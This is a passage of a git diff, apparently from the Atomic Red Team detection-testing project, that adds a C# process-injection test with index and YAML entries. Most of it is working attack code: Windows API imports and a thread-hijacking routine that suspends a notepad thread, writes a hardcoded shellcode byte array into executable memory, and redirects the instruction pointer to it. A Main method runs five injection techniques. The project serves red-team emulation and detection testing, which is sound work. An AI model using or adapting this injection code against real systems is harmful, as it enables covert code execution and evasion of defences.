+ public UInt64 SizeOfHeapReserve;
+ public UInt64 SizeOfHeapCommit;
+ public UInt32 LoaderFlags;
+ public UInt32 NumberOfRvaAndSizes;
+
+ public IMAGE_DATA_DIRECTORY ExportTable;
+ public IMAGE_DATA_DIRECTORY ImportTable;
+ public IMAGE_DATA_DIRECTORY ResourceTable;
+ public IMAGE_DATA_DIRECTORY ExceptionTable;
+ public IMAGE_DATA_DIRECTORY CertificateTable;
+ public IMAGE_DATA_DIRECTORY BaseRelocationTable;
+ public IMAGE_DATA_DIRECTORY Debug;
+ public IMAGE_DATA_DIRECTORY Architecture;
+ public IMAGE_DATA_DIRECTORY GlobalPtr;
+ public IMAGE_DATA_DIRECTORY TLSTable;
+ public IMAGE_DATA_DIRECTORY LoadConfigTable;
+ public IMAGE_DATA_DIRECTORY BoundImport;
+ public IMAGE_DATA_DIRECTORY IAT;
+ public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
+ public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
+ public IMAGE_DATA_DIRECTORY Reserved;
+ }
+
+ [StructLayout(LayoutKind.Sequential, Pack = 1)]
+ public struct IMAGE_FILE_HEADER
+ {
+ public UInt16 Machine;
+ public UInt16 NumberOfSections;
+ public UInt32 TimeDateStamp;
+ public UInt32 PointerToSymbolTable;
+ public UInt32 NumberOfSymbols;
+ public UInt16 SizeOfOptionalHeader;
+ public UInt16 Characteristics;
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ public struct IMAGE_SECTION_HEADER
+ {
+ [FieldOffset(0)]
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+ public char[] Name;
+ [FieldOffset(8)]
+ public UInt32 VirtualSize;
+ [FieldOffset(12)]
+ public UInt32 VirtualAddress;
+ [FieldOffset(16)]
+ public UInt32 SizeOfRawData;
+ [FieldOffset(20)]
+ public UInt32 PointerToRawData;
+ [FieldOffset(24)]
+ public UInt32 PointerToRelocations;
+ [FieldOffset(28)]
+ public UInt32 PointerToLinenumbers;
+ [FieldOffset(32)]
+ public UInt16 NumberOfRelocations;
+ [FieldOffset(34)]
+ public UInt16 NumberOfLinenumbers;
+ [FieldOffset(36)]
+ public DataSectionFlags Characteristics;
+
+ public string Section
+ {
+ get { return new string(Name); }
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_IMPORT_DESCRIPTOR
+ {
+ public uint OriginalFirstThunk;
+ public uint TimeDateStamp;
+ public uint ForwarderChain;
+ public uint Name;
+ public uint FirstThunk;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct IMAGE_BASE_RELOCATION
+ {
+ public uint VirtualAdress;
+ public uint SizeOfBlock;
+ }
+
+ [Flags]
+ public enum DataSectionFlags : uint
+ {
+
+ Stub = 0x00000000,
+
+ }
+
+ public static T FromBinaryReader(BinaryReader reader)
+ {
+ // Read in a byte array
+ byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
+
+ // Pin the managed memory while, copy it out the data, then unpin it
+ GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
+ T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
+ handle.Free();
+
+ return theStructure;
+ }
+
+
+ public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader)
+ {
+ UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
+ return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
+ }
+
+
+ // Process privileges
+ public const int PROCESS_CREATE_THREAD = 0x0002;
+ public const int PROCESS_QUERY_INFORMATION = 0x0400;
+ public const int PROCESS_VM_OPERATION = 0x0008;
+ public const int PROCESS_VM_WRITE = 0x0020;
+ public const int PROCESS_VM_READ = 0x0010;
+ public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
+
+ // Memory permissions
+ public const uint MEM_COMMIT = 0x00001000;
+ public const uint MEM_RESERVE = 0x00002000;
+ public const uint PAGE_READWRITE = 0x04;
+ public const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
+
+ [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ public static extern IntPtr LoadLibrary(string lpFileName);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+ public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+}
+
+public class ThreadHijack
+{
+ // Import API Functions
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
+
+ [DllImport("kernel32.dll")]
+ static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
+
+ [DllImport("kernel32.dll")]
+ static extern uint SuspendThread(IntPtr hThread);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
+
+ [DllImport("kernel32.dll")]
+ static extern int ResumeThread(IntPtr hThread);
+
+ [DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)]
+ static extern bool CloseHandle(IntPtr handle);
+
+ [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+ static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+ [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
+ static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
+
+ [DllImport("kernel32.dll")]
+ static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
+
+
+ // Process privileges
+ const int PROCESS_CREATE_THREAD = 0x0002;
+ const int PROCESS_QUERY_INFORMATION = 0x0400;
+ const int PROCESS_VM_OPERATION = 0x0008;
+ const int PROCESS_VM_WRITE = 0x0020;
+ const int PROCESS_VM_READ = 0x0010;
+
+ // Memory permissions
+ const uint MEM_COMMIT = 0x00001000;
+ const uint MEM_RESERVE = 0x00002000;
+ const uint PAGE_READWRITE = 4;
+ const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+ [Flags]
+ public enum ThreadAccess : int
+ {
+ TERMINATE = (0x0001),
+ SUSPEND_RESUME = (0x0002),
+ GET_CONTEXT = (0x0008),
+ SET_CONTEXT = (0x0010),
+ SET_INFORMATION = (0x0020),
+ QUERY_INFORMATION = (0x0040),
+ SET_THREAD_TOKEN = (0x0080),
+ IMPERSONATE = (0x0100),
+ DIRECT_IMPERSONATION = (0x0200),
+ THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
+ THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
+ }
+
+ public enum CONTEXT_FLAGS : uint
+ {
+ CONTEXT_i386 = 0x10000,
+ CONTEXT_i486 = 0x10000, // same as i386
+ CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
+ CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
+ CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
+ CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
+ CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
+ CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
+ CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
+ CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
+ }
+
+ // x86 float save
+ [StructLayout(LayoutKind.Sequential)]
+ public struct FLOATING_SAVE_AREA
+ {
+ public uint ControlWord;
+ public uint StatusWord;
+ public uint TagWord;
+ public uint ErrorOffset;
+ public uint ErrorSelector;
+ public uint DataOffset;
+ public uint DataSelector;
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
+ public byte[] RegisterArea;
+ public uint Cr0NpxState;
+ }
+
+ // x86 context structure (not used in this example)
+ [StructLayout(LayoutKind.Sequential)]
+ public struct CONTEXT
+ {
+ public uint ContextFlags; //set this to an appropriate value
+ // Retrieved by CONTEXT_DEBUG_REGISTERS
+ public uint Dr0;
+ public uint Dr1;
+ public uint Dr2;
+ public uint Dr3;
+ public uint Dr6;
+ public uint Dr7;
+ // Retrieved by CONTEXT_FLOATING_POINT
+ public FLOATING_SAVE_AREA FloatSave;
+ // Retrieved by CONTEXT_SEGMENTS
+ public uint SegGs;
+ public uint SegFs;
+ public uint SegEs;
+ public uint SegDs;
+ // Retrieved by CONTEXT_INTEGER
+ public uint Edi;
+ public uint Esi;
+ public uint Ebx;
+ public uint Edx;
+ public uint Ecx;
+ public uint Eax;
+ // Retrieved by CONTEXT_CONTROL
+ public uint Ebp;
+ public uint Eip;
+ public uint SegCs;
+ public uint EFlags;
+ public uint Esp;
+ public uint SegSs;
+ // Retrieved by CONTEXT_EXTENDED_REGISTERS
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
+ public byte[] ExtendedRegisters;
+ }
+
+ // x64 m128a
+ [StructLayout(LayoutKind.Sequential)]
+ public struct M128A
+ {
+ public ulong High;
+ public long Low;
+
+ public override string ToString()
+ {
+ return string.Format("High:{0}, Low:{1}", this.High, this.Low);
+ }
+ }
+
+ // x64 save format
+ [StructLayout(LayoutKind.Sequential, Pack = 16)]
+ public struct XSAVE_FORMAT64
+ {
+ public ushort ControlWord;
+ public ushort StatusWord;
+ public byte TagWord;
+ public byte Reserved1;
+ public ushort ErrorOpcode;
+ public uint ErrorOffset;
+ public ushort ErrorSelector;
+ public ushort Reserved2;
+ public uint DataOffset;
+ public ushort DataSelector;
+ public ushort Reserved3;
+ public uint MxCsr;
+ public uint MxCsr_Mask;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+ public M128A[] FloatRegisters;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
+ public M128A[] XmmRegisters;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
+ public byte[] Reserved4;
+ }
+
+ // x64 context structure
+ [StructLayout(LayoutKind.Sequential, Pack = 16)]
+ public struct CONTEXT64
+ {
+ public ulong P1Home;
+ public ulong P2Home;
+ public ulong P3Home;
+ public ulong P4Home;
+ public ulong P5Home;
+ public ulong P6Home;
+
+ public CONTEXT_FLAGS ContextFlags;
+ public uint MxCsr;
+
+ public ushort SegCs;
+ public ushort SegDs;
+ public ushort SegEs;
+ public ushort SegFs;
+ public ushort SegGs;
+ public ushort SegSs;
+ public uint EFlags;
+
+ public ulong Dr0;
+ public ulong Dr1;
+ public ulong Dr2;
+ public ulong Dr3;
+ public ulong Dr6;
+ public ulong Dr7;
+
+ public ulong Rax;
+ public ulong Rcx;
+ public ulong Rdx;
+ public ulong Rbx;
+ public ulong Rsp;
+ public ulong Rbp;
+ public ulong Rsi;
+ public ulong Rdi;
+ public ulong R8;
+ public ulong R9;
+ public ulong R10;
+ public ulong R11;
+ public ulong R12;
+ public ulong R13;
+ public ulong R14;
+ public ulong R15;
+ public ulong Rip;
+
+ public XSAVE_FORMAT64 DUMMYUNIONNAME;
+
+ [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
+ public M128A[] VectorRegister;
+ public ulong VectorControl;
+
+ public ulong DebugControl;
+ public ulong LastBranchToRip;
+ public ulong LastBranchFromRip;
+ public ulong LastExceptionToRip;
+ public ulong LastExceptionFromRip;
+ }
+
+ public static int Inject()
+ {
+ // Get target process by name
+
+ Process targetProcess = Process.GetProcessesByName("notepad")[0];
+
+
+ // Open and Suspend first thread
+ ProcessThread pT = targetProcess.Threads[0];
+
+ IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);
+ SuspendThread(pOpenThread);
+
+ // Get thread context
+ CONTEXT64 tContext = new CONTEXT64();
+ tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
+ if (GetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+
+ // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
+ // Compiled with:
+ // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
+ byte[] payload = new byte[112] {
+ 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
+ };
+
+ // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
+ byte[] mov_rax = new byte[2] {
+ 0x48, 0xb8
+ };
+ byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
+ byte[] jmp_rax = new byte[2] {
+ 0xff, 0xe0
+ };
+
+ // Build shellcode
+ byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
+ payload.CopyTo(shellcode, 0);
+ mov_rax.CopyTo(shellcode, payload.Length);
+ jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
+ jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
+
+ // OpenProcess to allocate memory
+ IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
+
+ // Allocate memory for shellcode within process
+ IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+
+ // Write shellcode within process
+ UIntPtr bytesWritten;
+ bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
+
+ // Read memory to view shellcode
+ int bytesRead = 0;
+ byte[] buffer = new byte[shellcode.Length];
+ ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
+
+ // Set context EIP to location of shellcode
+ tContext.Rip=(ulong)allocMemAddress.ToInt64();
+
+ // Apply new context to suspended thread
+ if(!SetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+ if (GetThreadContext(pOpenThread, ref tContext))
+ {
+
+ }
+ // Resume the thread, redirecting execution to shellcode, then back to original process
+
+ ResumeThread(pOpenThread);
+
+ return 0;
+ }
+}
+
+public class Program
+{
+ public static void Main()
+ {
+ //Test One:
+ Console.WriteLine("{0}", "#1 ProcessInject");
+ ProcessInject.Inject();
+ Console.WriteLine("{0}", "ProcessInject Complete");
+ //Test Two:
+ Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess");
+ ApcInjectionAnyProcess.Inject();
+ Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete");
+ //Test Three:
+ Console.WriteLine("{0}", "#3 ApcInjectionNewProcess");
+ ApcInjectionNewProcess.Inject();
+ Console.WriteLine("{0}", "ApcInjectionNewProcess Complete");
+ //Test Four:
+ Console.WriteLine("{0}", "#4 IatInjection");
+ IatInjection.Inject();
+ Console.WriteLine("{0}", "IatInjection Complete");
+ //Test Five:
+ Console.WriteLine("{0}", "#5 ThreadHijack");
+ ThreadHijack.Inject();
+ Console.WriteLine("{0}", "ThreadHijack Complete ");
+
+ }
+
+}
diff --git a/atomics/index.md b/atomics/index.md
index 0cb0b8b7..f432f1d3 100644
--- a/atomics/index.md
+++ b/atomics/index.md
@@ -287,6 +287,7 @@
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
@@ -373,6 +374,7 @@
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1053 Scheduled Task](./T1053/T1053.md)
- Atomic Test #1: At.exe Scheduled task [windows]
diff --git a/atomics/index.yaml b/atomics/index.yaml
index b00d80c0..bdd93e74 100644
--- a/atomics/index.yaml
+++ b/atomics/index.yaml
@@ -7942,6 +7942,26 @@ defense-evasion:
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
+ - name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+ supported_platforms:
+ - windows
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: ".\\bin\\#{exe_binary}\n"
T1121:
technique:
id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302
@@ -10626,6 +10646,26 @@ privilege-escalation:
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
+ - name: Process Injection via C#
+ description: |
+ Process Injection using C#
+ reference: https://github.com/pwndizzle/c-sharp-memory-injection
+ Excercises Five Techniques
+ 1. Process injection
+ 2. ApcInjectionAnyProcess
+ 3. ApcInjectionNewProcess
+ 4. IatInjection
+ 5. ThreadHijack
+ supported_platforms:
+ - windows
+ input_arguments:
+ exe_binary:
+ description: Output Binary
+ type: Path
+ default: T1055.exe
+ executor:
+ name: command_prompt
+ command: ".\\bin\\#{exe_binary}\n"
T1053:
technique:
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
diff --git a/atomics/windows-index.md b/atomics/windows-index.md
index 6c71eaf5..c6cfdf2f 100644
--- a/atomics/windows-index.md
+++ b/atomics/windows-index.md
@@ -92,6 +92,7 @@
- [T1055 Process Injection](./T1055/T1055.md)
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
@@ -163,6 +164,7 @@
- [T1055 Process Injection](./T1055/T1055.md)
- Atomic Test #1: Process Injection via mavinject.exe [windows]
- Atomic Test #2: Process Injection via PowerSploit [windows]
+ - Atomic Test #4: Process Injection via C# [windows]
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1053 Scheduled Task](./T1053/T1053.md)
- Atomic Test #1: At.exe Scheduled task [windows]